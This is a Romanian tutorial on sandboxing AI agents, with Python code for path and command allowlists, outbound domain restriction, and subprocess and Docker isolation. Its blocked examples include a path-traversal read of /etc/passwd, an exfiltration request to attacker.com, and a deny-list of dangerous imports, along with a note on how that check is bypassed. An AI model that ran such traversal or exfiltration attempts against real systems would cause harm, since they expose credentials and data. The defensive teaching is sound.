Sandboxing și izolare
Pe această pagină
De ce să izolați agenții de IA?
Un agent de IA care execută cod sau apelează instrumente este fundamental diferit de un simplu chatbot. Un chatbot compromis produce, în cel mai rău caz, un răspuns jenant; un agent compromis acționează – poate rula comenzi de sistem, poate citi fișiere sensibile sau poate comunica cu servicii externe. Toate mecanismele de apărare abordate până acum au avut ca scop prevenirea compromiterii. Sandboxing-ul schimbă postura: presupune că o compromitere se va produce inevitabil și se concentrează pe limitarea acțiunilor pe care un atacator le poate întreprinde odată ce a pătruns în sistem. Aceasta este o schimbare fundamentală, motiv pentru care sandboxing-ul nu înlocuiește niciunul dintre straturile anterioare.
Nivelul 1: Restricționarea accesului la resurse
Primul nivel aplică principiul privilegiului minim fișierelor și comenzilor. Punctul tehnic cheie este utilizarea funcției resolve() înainte de comparare: fără aceasta, o cale precum /data/app/uploads/../../etc/passwd începe cu directorul permis și ar trece de o verificare naivă a prefixului. Rezolvarea căii reale anulează această traversare, care rămâne unul dintre cele mai frecvente atacuri împotriva agenților care manipulează fișiere.
import os
from pathlib import Path
class SandboxPermissions:
"""Controls access permissions to resources."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Verifies that a path is within the allowed folder."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Verifies that a command is in the allowlist."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Secure reading with path verification."""
if not self.verify_path(path):
raise PermissionError(
f"Access denied: {path} is outside the allowed folder"
)
return Path(path).read_text()
# Usage
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# OK: file in allowed folder
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Blocked: {e}")
# Blocked: path traversal attempt
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Blocked: {e}")
Comenzile urmează aceeași logică, utilizând o listă de permisiuni (allowlist) în loc de o listă de blocare (blocklist). Asimetria este decisivă: o listă de blocare vă obligă să imaginați fiecare comandă periculoasă – un exercițiu pe care îl veți pierde – în timp ce o listă de permisiuni necesită doar enumerarea a ceea ce agentul are nevoie în mod real, adesea doar trei sau patru comenzi.
Nivelul 2: Controlul traficului outbound
Izolarea rețelei abordează scenariul de exfiltrare discutat anterior. Atâta timp cât agentul poate trimite o cerere HTTP către orice domeniu, orice date pe care le atinge pot părăsi perimetrul dumneavoastră, iar traficul outbound va arăta ca un trafic obișnuit al aplicației. Restricționarea destinațiilor la o listă explicită transformă o tentativă de exfiltrare într-o excepție jurnalizată.
import subprocess
class NetworkSandbox:
"""Controls the agent's network communications."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Verifies that a URL is in the allowlist."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""HTTP request with domain verification."""
if not self.is_allowed_request(url):
raise PermissionError(f"Domain not allowed: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# OK
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Blocked: exfiltration to an external domain
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Blocked: {e}")
Nivelul 3: Executarea codului fără a-l încrede mașinii
Rularea codului scris de un model este cazul cel mai delicat. Implementarea de mai jos combină trei protecții: verificarea importurilor înainte de execuție, limite de memorie și timp CPU setate în interiorul scriptului însuși și un mediu redus la strictul necesar la lansarea subprocessului.
O avertizare este necesară în ceea ce privește verificarea importurilor. Aceasta se bazează pe căutarea de text, iar un atacator atent o va ocoli – __import__("os") nu conține șirul căutat. Considerați această verificare ca pe o barieră de protecție împotriva erorilor și a tentativelor naive, niciodată ca pe o frontieră de securitate. Frontiera reală este procesul izolat cu limitele sale de resurse.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Executes model-generated code in an isolated environment."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Executes Python code in an isolated process."""
# Security checks before execution
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Forbidden import: {imp}",
"output": "",
}
# Create a temporary file
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Add restrictions at the start of the script
wrapper = f"""
import resource
import sys
# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# User code
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout exceeded", "output": ""}
finally:
os.unlink(temp_file)
# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Forbidden import: os"}
Pentru cazurile de producție, Docker oferă o izolare mai robustă, deoarece nu mai depinde de cooperarea codului executat. Fiecare opțiune de comandă închide o ușă specifică: --network=none elimină orice posibilitate de exfiltrare prin rețea, --read-only previne persistența, --memory și --cpus limitează consumul, --tmpfs acordă un spațiu de lucru volatil și limitat, iar --security-opt=no-new-privileges interzice escaladarea privilegiilor în timpul execuției. Flag-ul --rm distruge containerul la final, garantând că nicio stare nu supraviețuiește de la o execuție la alta.
class DockerSandbox:
"""Executes code in an ephemeral Docker container."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Executes code in an isolated container."""
cmd = [
"docker", "run", "--rm",
"--network=none", # No network
"--memory=256m", # Memory limit
"--cpus=0.5", # CPU limit
"--read-only", # Read-only filesystem
"--tmpfs=/tmp:size=50m", # Limited temporary space
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout", "output": ""}
Alegerea nivelului potrivit
Stivuirea tuturor celor trei niveluri pentru un simplu chatbot de tip FAQ este costisitoare și inutilă, în timp ce reliance exclusivă pe primul nivel pentru un agent care execută cod echivalează cu lipsa oricărei protecții. Tabelul de mai jos oferă un punct de plecare; ajustați-l în funcție de sensibilitatea datelor accesibile, aspect care contează adesea mai mult decât sofisticarea agentului.
| Scenariu | Nivel recomandat |
|---|---|
| Chatbot simplu Q&A | Permisiuni (Nivelul 1) |
| Agent cu acces API | Permisiuni + Rețea (Nivelurile 1-2) |
| Agent care execută cod | Docker complet (Nivelul 3) |
| Agent multi-utilizator | Docker + izolarea sesiunii |
Indiferent de nivelul ales, testați-l așa cum ați testa o funcționalitate. Un sandbox pe care îl instalați și apoi îl uitați se degradează silențios în timp – o dependență adăugată, un volum montat „temporar“, un domeniu deschis pentru depanare. Reexecutați testele de traversare a căilor și de domenii interzise la fiecare actualizare a agentului: ocolirea unui sandbox nu este o anomalie minoră, ci un incident critic.
Puncte cheie
- Sandboxing-ul este esențial imediat ce un agent are acces la instrumente sau execută cod
- Trei niveluri de izolare: permisiuni, rețea, container – combinați-le în funcție de risc
- Principiul privilegiului minim se aplică fiecărei resurse: fișiere, rețea, comenzi
- Docker cu
--network=noneși--read-onlyoferă cea mai robustă izolare - Izolarea trebuie testată regulat – ocolirea unui sandbox constituie un incident critic